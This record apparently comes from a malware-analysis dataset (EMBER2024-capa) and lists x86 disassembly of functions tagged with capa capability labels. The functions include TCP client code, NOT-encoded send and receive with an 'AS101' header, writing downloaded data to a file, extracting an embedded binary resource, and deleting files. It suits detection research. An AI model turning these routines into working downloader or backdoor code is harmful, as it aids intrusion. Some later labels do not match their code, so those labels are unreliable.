joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4040f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x422040]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x40411b
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404150
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00409038
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x404138
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x40418c
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x4041e5
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4041e5
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00409038
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x4041f4
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00409038
add esp, 0x9b0
ret

Function at 0x404350
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x4043d2
cmp edi, eax
jle 0x40437d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x404370
lea ebx, [edi + 7]
push ebx
call fcn.00409c31
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x423068]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.0040d030
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4043d6
cmp eax, ebx
jne 0x4043d6
mov dword [esp + 0xc], 1
jmp 0x4043d6
mov esi, dword [esp + 0x14]
test esi, esi
je 0x4043e3
push esi
call fcn.00409875
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4045b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x422040]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x4045f1
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x40470d
test edx, edx
je 0x40470d
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.0040c310
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404725
test eax, eax
je 0x404725
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.00409c31
add esp, 4
mov ebx, eax
test edi, edi
jle 0x4046fb
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4046d9
test eax, eax
je 0x4046d9
add esi, eax
cmp edi, esi
jg 0x404664
cmp esi, 5
jl 0x4046fb
mov ecx, dword [str.AS101]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x4046fb
mov dl, byte [ebx + 4]
cmp dl, byte [0x423068]
jne 0x4046fb
test esi, esi
jle 0x4046bc
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x4046b0
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x4046e1
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.0040d030
mov dword [edi], esi
jmp 0x4046f0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4046fb
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.0040d030
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x404708
push ebx
call fcn.00409875
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.00409038
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00409038
add esp, 0x8d8
ret
Function at 0x4049c0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.00413d20
mov eax, dword [0x422040]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x404a18
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.00409038
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x404a57
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x404a56
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.004096ef
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x404a20
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00409511
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.00409038
add esp, 0x100c
ret

Function at 0x404a90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push str.IDR_BINARY
mov edi, eax
push 0x84
push edi
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x404b03
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00409c31
push esi
mov edi, eax
push 0
push edi
call fcn.0040c310
push esi
push ebp
push edi
call fcn.0040d030
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeResource]
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x404b10
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
push edi
push ebx
mov edi, eax
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404b41
mov eax, ebx
call fcn.00404c20
cmp eax, edi
jne 0x404b41
lea eax, [esi + 1]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push 0x200000
call fcn.00409afd
mov ebp, eax
mov eax, dword [esp + 0x28]
add esp, 4
push ebp
push eax
lea edx, [esp + 0x1c]
mov ecx, edi
mov dword [esp + 0x1c], 0x200000
call fcn.00404c80
add esp, 8
test eax, eax
je 0x404c0c
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.004097e0
add esp, 4
call fcn.004097f2
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fmul qword [0x420428]
fmul qword [0x420450]
fadd qword [0x420448]
call fcn.00417090
mov esi, dword [esp + 0x14]
lea ebx, [esi + ebp]
mov edi, eax
call fcn.00403380
add edi, esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
call fcn.00404e00
mov esi, eax
cmp esi, 0xffffffff
je 0x404c0a
push ebx
lea ecx, [esp + 0x1c]
push ecx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
neg eax
sbb eax, eax
and eax, dword [esp + 0x18]
cmp eax, edi
jne 0x404be9
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp ebx, 1
jne 0x404c0a
push ebp
mov esi, ebx
call fcn.00409a20
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor esi, esi
push ebp
call fcn.00409a20
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x404c20
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push connect
or edi, 0xffffffff
push eax
or ebx, edi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x404c52
or eax, edi
or edx, edi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
cmp eax, 1
jne 0x404c6b
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret

Function at 0x404e00
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x404e53
push esi
call edi
cmp eax, 0xffffffff
je 0x404e4e
test al, 1
je 0x404e1e
xor eax, 1
test al, 4
je 0x404e25
xor eax, 4
test al, 2
je 0x404e2c
xor eax, 2
test al, 0x20
je 0x404e33
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test edi, edi
jne 0x404e53
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
pop edi
ret
Function at 0x406c40
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x406c47
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x406d24
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f6f0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x41f6f0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x41f6f0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f6f0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f6f0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f6f0]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f6f0]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f6f0]
inc ecx
sub edx, 8
sub esi, 1
jne 0x406c60
pop edi
test edx, edx
je 0x406d4b
jmp 0x406d30
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x41f6f0]
inc ecx
sub edx, 1
jne 0x406d30
not eax
pop esi
ret

Function at 0x406d50
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x41f6f0]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x41f6f0]
mov dword [edx + 8], ecx
ret

Function at 0x406da0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x41f6f0]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x41f6f0]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret

Function at 0x4074b0
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, ebx
imul esi, dword [esp + 8]
cmp byte [edi], 0
je 0x4074e2
mov ecx, dword [edi + 4]
push 0
lea eax, [esp + 0xc]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x4074d8
mov byte [edi + 8], 1
mov eax, dword [esp + 8]
xor edx, edx
div ebx
pop esi
ret
mov ecx, dword [edi + 0x1c]
mov eax, dword [edi + 0x18]
push ebp
lea ebp, [ecx + esi]
cmp ebp, eax
pop ebp
jbe 0x4074f5
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0x14]
push esi
add eax, ecx
push eax
push edx
call fcn.0040d030
add dword [edi + 0x1c], esi
mov eax, esi
add esp, 0xc
xor edx, edx
div ebx
pop esi
ret
Function at 0x407510
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
cmp byte [esi], 0
push edi
mov edi, 1
je 0x407543
mov edx, dword [esi + 4]
push 0
lea eax, [esp + 0xc]
push eax
push edi
lea ecx, [esp + 0x13]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x40753d
mov byte [esi + 8], 1
mov edi, dword [esp + 8]
jmp 0x40756f
mov eax, dword [esi + 0x18]
push ebx
mov ebx, dword [esi + 0x1c]
lea ecx, [ebx + 1]
cmp ecx, eax
jbe 0x407555
sub eax, ebx
mov edi, eax
mov edx, dword [esi + 0x14]
push edi
add edx, ebx
push edx
lea eax, [esp + 0x13]
push eax
call fcn.0040d030
add esp, 0xc
add ebx, edi
mov dword [esi + 0x1c], ebx
pop ebx
cmp edi, 1
pop edi
jne 0x407586
movzx ecx, byte [esp + 3]
mov edx, dword [esp + 0xc]
mov dword [edx], ecx
xor eax, eax
add esp, 8
ret
cmp byte [esi], 0
je 0x407580
cmp byte [esi + 8], 0
je 0x407580
or eax, 0xffffffff
add esp, 8
ret
Function at 0x407620
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
cmp byte [esi], 0
je 0x407665
cmp byte [esi + 1], 0
je 0x40766d
mov eax, dword [esi + 4]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp byte [esi], 0
push ebp
je 0x407682
cmp byte [esi + 1], 0
je 0x407674
mov edx, dword [esi + 4]
push 1
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov ebp, eax
sub ebp, dword [esi + 0xc]
mov dword [esp + 4], ebp
jmp 0x40768b
mov ecx, dword [esi + 0x18]
mov dword [esi + 0x1c], ecx
jmp 0x40763e
or eax, 0xffffffff
add esp, 0x18
ret
mov dword [esp + 4], 0
mov ebp, dword [esp + 4]
jmp 0x40768b
mov eax, dword [esi + 0x1c]
mov dword [esp + 4], eax
mov ebp, eax
push edi
mov edi, 0xffff
mov dword [esp + 0xc], edi
cmp ebp, edi
jae 0x40769f
mov dword [esp + 0xc], ebp
mov edi, ebp
push ebx
push 0x404
call fcn.00409afd
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4076bd
pop ebx
pop edi
or eax, 0xffffffff
pop ebp
add esp, 0x18
ret
mov eax, 4
mov dword [esp + 0x18], 0xffffffff
cmp edi, eax
jbe 0x4077d1
jmp 0x4076e0
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0xc]
add eax, 0x400
mov dword [esp + 0x14], edi
cmp eax, edi
ja 0x4076f1
mov dword [esp + 0x14], eax
mov eax, ebp
sub eax, dword [esp + 0x14]
sub ebp, eax
mov dword [esp + 0x20], eax
cmp ebp, 0x404
jbe 0x40770a
mov ebp, 0x404
cmp byte [esi], 0
je 0x40772f
cmp byte [esi + 1], 0
je 0x4077d1
mov ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
jmp 0x407732
mov dword [esi + 0x1c], eax
cmp byte [esi], 0
mov edi, ebp
je 0x40775a
mov ecx, dword [esi + 4]
push 0
lea eax, [esp + 0x20]
push eax
push ebp
push ebx
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x407754
mov byte [esi + 8], 1
mov eax, dword [esp + 0x1c]
jmp 0x407780
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
lea edx, [eax + ebp]
cmp edx, ecx
jbe 0x40776b
sub ecx, eax
mov edi, ecx
mov ecx, dword [esi + 0x14]
push edi
add ecx, eax
push ecx
push ebx
call fcn.0040d030
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div ebp
cmp eax, 1
jne 0x4077d1
lea eax, [ebp - 3]
test eax, eax
jl 0x4077bc
dec eax
cmp byte [eax + ebx], 0x50
jne 0x4077ac
cmp byte [eax + ebx + 1], 0x4b
jne 0x4077ac
cmp byte [eax + ebx + 2], 5
jne 0x4077ac
cmp byte [eax + ebx + 3], 6
je 0x4077b2
test eax, eax
jge 0x407790
jmp 0x4077bc
mov edx, dword [esp + 0x20]
add eax, edx
mov dword [esp + 0x18], eax
cmp dword [esp + 0x18], 0
jne 0x4077d1
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x14], eax
jb 0x4076d4
push ebx
call fcn.00409a20
mov eax, dword [esp + 0x1c]
add esp, 4
pop ebx
pop edi
pop ebp
add esp, 0x18
ret
Function at 0x4086f0
Capabilities:
Get common file path

Disassembly:
cmp dword [esi], 0
push edi
jne 0x4087a3
cmp dword [esi + 4], 0xffffffff
jne 0x4087a3
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
mov eax, edi
lea edx, [eax + 2]
jmp 0x408720
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x408720
sub eax, edx
sar eax, 1
movzx eax, word [esi + eax*2 + 0x242]
cmp ax, 0x5c
je 0x408759
cmp ax, 0x2f
je 0x408759
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x408746
mov eax, dword [0x41fb88]
mov dword [edi], eax
push 0x20
call fcn.00409c31
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
add esp, 4
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0x10], 0
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], edx
mov dword [eax + 0x1c], 0
mov dword [eax + 0xc], 0
call fcn.004077f0
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
add eax, 0x200
pop edi
ret 8
mov eax, 0x1000000
pop edi
ret 8

Function at 0x409038
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422040]
jne 0x409042
repz ret
jmp fcn.0040af16

Function at 0x414260
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040d407
and dword [ebp - 4], 0
cmp dword [0x423eec], 0
mov ebx, eax
jne 0x414311
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4143c2
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4143c2
push eax
call fcn.0040d395
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423eec], eax
call esi
push eax
call fcn.0040d395
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423ef0], eax
call esi
push eax
call fcn.0040d395
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423ef4], eax
call esi
push eax
call fcn.0040d395
pop ecx
mov dword [0x423efc], eax
test eax, eax
je 0x414311
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040d395
pop ecx
mov dword [0x423ef8], eax
mov eax, dword [0x423ef8]
cmp eax, ebx
je 0x414369
cmp dword [0x423efc], ebx
je 0x414369
push eax
call fcn.0040d410
push dword [0x423efc]
mov esi, eax
call fcn.0040d410
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x414369
test edi, edi
je 0x414369
call esi
test eax, eax
je 0x414360
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x414360
test byte [ebp - 0xc], 1
jne 0x414369
or dword [ebp + 0x10], 0x200000
jmp 0x4143a2
mov eax, dword [0x423ef0]
cmp eax, ebx
je 0x4143a2
push eax
call fcn.0040d410
pop ecx
test eax, eax
je 0x4143a2
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4143a2
mov eax, dword [0x423ef4]
cmp eax, ebx
je 0x4143a2
push eax
call fcn.0040d410
pop ecx
test eax, eax
je 0x4143a2
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423eec]
call fcn.0040d410
pop ecx
test eax, eax
je 0x4143c2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4143c4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411bff
Capabilities:
Read .ini file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x6035dd
push eax
mov eax, 0x2008
mov dword fs:[0], esp
call fcn.005cf280
push esi
mov esi, ecx
mov dword [esp + 8], 0
mov dword [esp + 0x2014], 1
mov eax, dword [0x69c108]
mov dword [esp + 4], eax
lea ecx, [esp + 4]
mov byte [esp + 0x2014], 4
call fcn.005eb080
mov esi, dword [esi + 4]
mov edx, dword [esp + 0x2028]
mov eax, dword [esp + 0x2024]
push esi
lea ecx, [esp + 0x10]
push 0x2000
push ecx
mov ecx, dword [esp + 0x202c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [esp + 0xc]
lea ecx, [esp + 4]
push edx
call fcn.005eb27e
mov esi, dword [esp + 0x201c]
lea eax, [esp + 4]
push eax
mov ecx, esi
call fcn.005eae6a
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x2014], 3
call fcn.005eb0f5
lea ecx, [esp + 0x2020]
mov byte [esp + 0x2014], 2
call fcn.005eb0f5
lea ecx, [esp + 0x2024]
mov byte [esp + 0x2014], 1
call fcn.005eb0f5
lea ecx, [esp + 0x2028]
mov byte [esp + 0x2014], 0
call fcn.005eb0f5
mov ecx, dword [esp + 0x200c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x2014
ret 0x10
Function at 0x46bc76
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x60b143
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
xor edi, edi
push 0x6a0f60
lea ecx, [esi + 0x10]
mov dword [esp + 0x18], edi
mov dword [esi + 4], 1
mov dword [esi + 8], 1
mov dword [esi + 0xc], edi
call fcn.005eb163
push 0xa
lea ecx, [esi + 0x14]
mov byte [esp + 0x18], 1
call fcn.005e9af4
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x30], 0xffffffff
mov dword [esi], vtable.CIRMenuItem.0
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x46e400
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x60b4d8
push eax
mov dword fs:[0], esp
sub esp, 0x40
push ebx
push esi
lea esi, [ecx + 0xb4]
xor ebx, ebx
cmp esi, ebx
push edi
je 0x46e433
cmp dword [esi + 4], ebx
je 0x46e433
mov ecx, esi
call fcn.005f2f3e
mov al, 4
push str.Marlett
lea ecx, [esp + 0x10]
mov dword [esp + 0x14], 0xfffffff3
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], 0x190
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 1
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], 0x54
call fcn.005eb163
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x2c]
mov dword [esp + 0x54], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0xc]
mov eax, dword [ecx - 8]
cmp eax, 0x1f
jle 0x46e4a3
mov eax, 0x1f
push eax
lea eax, [esp + 0x30]
push ecx
push eax
call fcn.005d0d45
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push eax
mov ecx, esi
call fcn.005f2ee7
lea ecx, [esp + 0xc]
mov dword [esp + 0x54], 0xffffffff
call fcn.005eb0f5
mov ecx, dword [esp + 0x4c]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x4c
ret

Function at 0x470100
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x60b56f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov eax, dword [0x69c108]
push esi
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov ecx, dword [ecx + 0x1c]
lea eax, [esp + 0xc]
push eax
push 2
lea edx, [esp + 0xc]
push 0x44a
push ecx
mov dword [esp + 0x30], 1
mov dword [esp + 0x1c], edx
mov dword [esp + 0x24], 0x46f7c0
call dword [sym.imp.USER32.dll_SendMessageA]
mov esi, dword [esp + 0x28]
lea edx, [esp + 4]
push edx
mov ecx, esi
call fcn.005eae6a
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x20], 0
call fcn.005eb0f5
mov ecx, dword [esp + 0x18]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x20
ret 4